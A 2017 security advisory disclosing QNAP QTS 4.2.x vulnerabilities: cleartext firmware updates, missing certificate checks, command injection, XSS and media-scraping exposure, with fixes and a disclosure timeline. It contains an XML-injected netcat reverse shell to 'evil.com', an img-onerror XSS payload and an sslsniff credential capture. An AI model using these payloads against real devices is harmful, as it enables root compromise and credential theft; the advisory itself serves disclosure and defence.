QNAP QTS 4.2.x XSS / Command Injection / Transport Issues
Posted on 18 February 2017
QNAP QTS 4.2.x multiple vulnerabilities ======================================= The latest version of this advisory is available at: https://sintonen.fi/advisories/qnap-qts-42-multiple-vulnerabilities.txt Overview -------- QNAP QTS firmware contain Missing Transport Layer Security (CWE-319), Improper Certificate Validation (CWE-295), Command Injection (CWE-77), Cross-Site Scripting (CWE-79) and Information Exposure (CWE-200) vulnerabilities that can be exploited to gain remote command execution to the devices or to perform arbitrary administrative functions, and to gain unauthorized access to user's myQNAPcloud credentials. Description ----------- QNAP QTS software firmware update functionality include Missing Transport Layer Security (CWE-319), Command Injection (CWE-77) and Cross-Site Scripting (CWE-79) vulnerabilities. An attacker in a privileged network position can Man-in-The-Middle the firmware update check and exploit the command injection vulnerability to execute arbitrary commands on the targeted device. QNAP QTS myQNAPcloud functionality includes Improper Certificate Validation (CWE-295) vulnerability. The attacker in a privileged network position can exploit this vulnerability to eavesdrop the myQNAPcloud credentials. QNAP QTS media scraping functionality automatically scrapes Google and IMDB for media information (for example album cover images). The functionality contains an Information Exposure (CWE-200) vulnerability. The attacker in a privileged network position can eavesdrop the requests performed. Impact ------ The attacker in a privileged network position is able to execute arbitrary commands as administrative user (root). The attacker can also perform any administrative functions normally available to the administrator, such as firmware updates. The attacker in a privileged network position is able to gain access to the myQNAPcloud credentials. The attacker can access the NAS via the myQNAPcloud APIs and/or the www.myqnapcloud.com website. The attacker in a privileged network position is able gain knowledge of the media files stored on the device. Details ------- The discovered vulnerabilities, described in more detail below, enable multiple independent attacks described here in brief: - Semi-Automated Remote Command Execution Via Firmware Update The vulnerabilities in QNAP QTS firmware update enable semi-automated remote command execution attacks against the QNAP firmware update functionality. The attack involves performing Man-in-The-Middle attack on the firmware update request. The exploit is triggered when the administrator logs on to the device, or when manual firmware update check is performed. The Cross-Site Scripting vulnerability enables attack automation, no other user interaction is needed. - Stealing myQNAPcloud Credentials and/or Access Tokens The Improper Certificate Validation in the myQNAPcloud requests enable Man-in-The-Middle attack against the myQNAPcloud connections. The attacker will learn the myQNAPcloud user credentials and/or access tokens. These in turn can be leveraged to obtain access to the NAS contents. - Media Information Exposure Missing Transport Layer Security and Improper Certificate Validation in the QTS media scraping functionality enable Man-in-The-Middle attack against the requests being performed. As a result, the attacker will gain knowledge about the media files stored on the device. Vulnerabilities --------------- 1. Firmware Update Missing Transport Layer Security (CWE-319) The QNAP QTS firmware release XML file is downloaded without transport layer security (TLS). The content of the file can be tampered with. The actual firmware updates are downloaded without transport layer security (TLS), too. The attacker in a privileged network position can Man-in-The-Middle the connection and tamper with the downloaded firmware release XML and/or the firmware binaries. NOTE: It is unclear if the firmware binaries are somehow signed. If no signing is used, the firmware image can be replaced with any custom content by the attacker. 2. myQNAPcloud Improper Certificate Validation (CWE-295) The QNAP QTS connects to myQNAPcloud without proper certificate validation. The attacker in a privileged network position can Man-in-The-Middle the connection and steal the user credentials and/or access tokens and other confidential information. At least the following hosts are contacted without validation: - account.myqnapcloud.com - core2.api.myqnapcloud.com - auth.api.myqnapcloud.com The myQNAPclould service also connects back to the NAS. Even if this connection is configured to use TLS only, again no certificate validation is performed. myQNAPcloud credential capture example: # sslsniff -a -c /usr/share/sslsniff/certs/wildcard -s 4443 -w /dev/stdout 1485661482 INFO sslsniff : Added OCSP URL: ocsp.ipsca.com 1485661482 INFO sslsniff : Certificate Ready: * sslsniff 0.8 by Moxie Marlinspike running... 1485661488 DEBUG sslsniff : Read from Client (api.myqnapcloud.com) : POST /oauth/token HTTP/1.1 Host: auth.api.myqnapcloud.com Accept: application/json X-QNAP-APP-ID: 0vi23432423egfdsscwklkjdw23s9001 X-QNAP-SUBAPP-ID: 0vi23432423egfdsscwklkjdw23s9001 X-QNAP-MODEL: TVS-663 X-QNAP-FIRMWARE: 4.2.3_20170121 X-QNAP-DIGEST: 20[XXXXXXXXXXXXXXXXXXXXXXXXXX]0e X-QNAP-APP-VER: 2.0.11 X-QNAP-DEVICE-HOSTNAME: NASSE Content-Length: 191 Content-Type: application/x-www-form-urlencoded grant_type=password&client_id=0vi23432423egfdsscwklkjdw23s9001& client_secret=dlxkajKmomLqdBmvNfjVycvHjXjikeowUFYOPf43s& username=email%40victim.com&password=mysecretpassword 3. Command Injection in Firmware Update (CWE-77) /sbin/get_new_firmware binary has a command injection bug. The following command is executed via popen(): /bin/ping -c 2 %s > /tmp/ping_reply ; /bin/cat /tmp/ping_reply | /bin/grep time | /bin/cut -d '=' -f 4 | /bin/cut -d ' ' -f 1 ; /bin/rm -f /tmp/ping_reply The value inserted to %s is obtained from the 'server' element of the downloaded firmware update XML file: <?xml version="1.0" encoding="utf-8"?> <docRoot> <storage> <downloadServer> <server>http://download.qnap.com/</server> <server>http://eu1.qnap.com/</server> <server>http://us1.qnap.com/</server> </downloadServer> By modifying the server parameter, arbitrary commands can be executed. For example: <server>http://`nc -e`echo -e 'x2fbinx2fsh'` evil.com 9999`</server> Note that the string used in the ping command argument is terminated by a slash (/) character, so the injected command cannot include it. This limitation is trivial to bypass by encoding the character. 4. Cross-Site Scripting Via Firmware Update (CWE-79) There are several Cross-Site Scripting vulnerabilities in the QNAP web user interface. When the QNAP web user interface notices a new firmware update it will pop up a requester indicating that a new firmware update is available. The "build number" is part of this message. Also the Event Notification for a new firmware update will render the "build number" in a similar manner. The displayed information is extracted from the downloaded firmware update XML file. For example: <buildNumber>20160119</buildNumber> The information displayed isn't encoded properly, leading to a Cross-Site Scripting vulnerabilty. For example: <buildNumber><img src=x onerror=alert(1)></img></buildNumber> These cross site scripting vulnerabilities can be leveraged to perform arbitrary administrative operations available to the logged in user. 5. Information Exposure To 3rd Parties Via Media Scraping (CWE-200) The QNAP QTS 'media' scraping functionality connects to ajax.googleapis.com without proper certificate validation, and to www.imdb.com and akas.imdb.com without transport layer security. An attacker in a privileged network position can Man-in-The-Middle the connections and learn the titles of the media files stored on the NAS. The /mnt/ext/opt/medialibrary/lib/libscrap.so library performs insecure TLS connections by enabling insecure mode (-k): # strings libscrap.so | grep 'curl -k' /sbin/curl -k -L '%s' --connect-timeout 30 -- The library also performs insecure connections to various sites without transport layer security: # grep -oa 'http://[^/]*' libscrap.so http://www.imdb.com http://www.imdb.com http://akas.imdb.com http://akas.imdb.com http://akas.imdb.com%s Vulnerable devices ------------------ The vulnerabilities were discovered from an QNAP TVS-663, firmware version 4.2.0 Build 20160119. They're also confirmed to work with version 4.2.2 Build 20161214. According to QNAP the vulnerabilities affect all QNAP products running QTS. Recommendations to vendor ------------------------- 1. In custom openssl code validate the certificate chain by utilizing SSL_CTX_set_verify with mode SSL_VERIFY_PEER. Create a verify_callback hook that validates the certificate Common Name (CN) or Subject Alternative Names (SAN) against the intended target host name. In libcurl code do not disable CURLOPT_SSL_VERIFYPEER. Do not use -k/ --insecure option with curl command. Do not use --no-check-certificate with wget. 2. Do not utilize internet APIs without transport layer security. Upgrade all internal QNAP APIs to use TLS. The old non-TLS QNAP APIs can remain functional to allow legacy QTS versions to access them. 3. Fix the command injection vulnerability by performing proper input validation (whitelisting) and/or shell metacharacter escaping, or by utilizing execl family of functions. 4. Fix the firmware update related Cross-Site Scripting vulnerabilities in the user interface by performing input validation and/or output HTML encoding. 5. Stop using the deprecated API https://ajax.googleapis.com/ajax/services/search/images?v=1.0 End user mitigation ------------------- - Install the latest firmware update, version 4.2.3 build 20170213 or later. - If you're worried about Scraping privacy issues use external firewall to block the QNAP device from accessing the following external sites: ajax.googleapis.com www.imdb.com akas.imdb.com Credits ------- The vulnerabilities were discovered by Harry Sintonen / F-Secure Oyj. Timeline -------- 30.01.2016 discovered vulnerabilities 1, 3 and 4 31.01.2016 discovered vulnerabilities 2 and 5 31.01.2016 wrote a proof of concept exploit 01.02.2016 sent an advance notice to vendor regarding the vulnerabilities 01.02.2016 started to write a preliminary advisory 01.02.2016 sent the preliminary advisory to vendor 02.02.2016 sent the preliminary vulnerability report to CERT-FI 08.03.2016 sent a status inqury to vendor 14.03.2016 received a response from vendor about the status. agreed that disclosure should be coordinated. vendor representative agreed to contact me shortly regarding the fixes. communicated the deadline of 180 days from delivery of the initial advisory. 31.07.2016 no communication from vendor has occurred. sent advance notice to vendor regarding the planned disclosure date of 01.08.2016. 02.08.2016 vendor asked for 90 day extension. agreed to it. 02.11.2016 no fixes or updates arrived after 90 days. 21.11.2016 no word from vendor. asked if vendor needs even more time. reminded vendor that: "...the whole point of responsible disclosure is that vulnerabilities get fixed. Extended delay allows for other malicious parties to also find the vuls and exploit them." 24.11.2016 vendor requested yet another postponement. no schedule was given. 05.12.2016 informed the vendor of disclosure at Disobey 2017 on Jan 13th. 13.01.2017 dislosed vulnerabilities 1, 3 and 4 at Disobey 2017. 18.01.2017 vendor confirmed that all devices running QTS are vulnerable. 28.01.2017 vendor released QTS 4.2.3 and notified the author. 29.01.2017 QTS 4.2.3 fixed at least vulnerability 1. this is enough to block the firmware exploit. vulnerability 2 was confirmed to be unfixed. reported the status to the vendor. vendor requested until 15.02.2017 to fix vulnerability 2. 14.02.2017 vendor released QTS 4.2.3 Build 20170213 fixing vulnerability 2. 15.02.2017 public release of the advisory.
